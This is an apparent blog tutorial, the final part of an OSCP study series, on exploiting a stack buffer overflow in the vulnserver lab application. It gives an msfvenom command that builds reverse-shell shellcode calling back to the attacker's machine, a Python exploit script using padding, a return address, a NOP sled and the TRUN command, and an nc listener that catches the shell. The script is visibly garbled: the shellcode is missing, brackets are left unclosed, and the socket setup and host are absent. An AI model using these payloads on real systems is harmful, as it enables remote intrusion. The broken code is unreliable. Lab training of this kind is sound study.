OSCP – Detail Guide to Stack-based buffer Overflow – 9

OSCP Study materialbuffer overflow

Now, we can piece together complete information we have gathered to create malicious shellcode. The shellcode will tell the victim machine to talk back to our machine. Using msfvenom, we can supply the following syntax: 

msfvenom -p windows/shell_reverse_tcp LHOST=your.Kali.IP.address LPORT=4444 EXITFUNC=thread -f c -a x86 –platform windows -b “\x00”

msfvenom shellcode

We need to copy/paste this shellcode into our Python script. Here is what my final script looks like

import sys, socket

overflow = (

shell = "A" * 2003 + "\xaf\x11\x50\x62" + "\x90" * 32 + overflow

                                s.connect(( '', 9999)) 
				s.send(( 'TRUN /.:/' + shell))  
except : 
                		print "error in connection"

Some encoder should be used as the windows/shell_reverse_tcp contains zero characters.

Place the generated code into the script and update the buffer. Please add some NOP instructions before the shellcode. (NOP = 0x90) , when we are developing exploits, we can use it as padding. There are instances where our exploit code can interfere with our return address and not run properly. To avoid this interference, we can add some padding in-between the two items.

Again Open the vulnserver and attach with immunity debugger in windows machine.

Finally, execute this script from kali machine.


and In new terminal type nc -lvp 4444


Woop !! we got a shell !!!


I hope these tutorials series has been useful for you. Buffer overflows took me a while to wrap my head around and I have found that teaching it not only helps me remember but helps others figure out the tiny subtleties as well.

Thanks for visiting this blog. Join Certcube Labs for IT security Training & Certifications.

If you really want to go in deep with the different methods of vulnserver visit this blog for details

Leave a Reply

Your email address will not be published.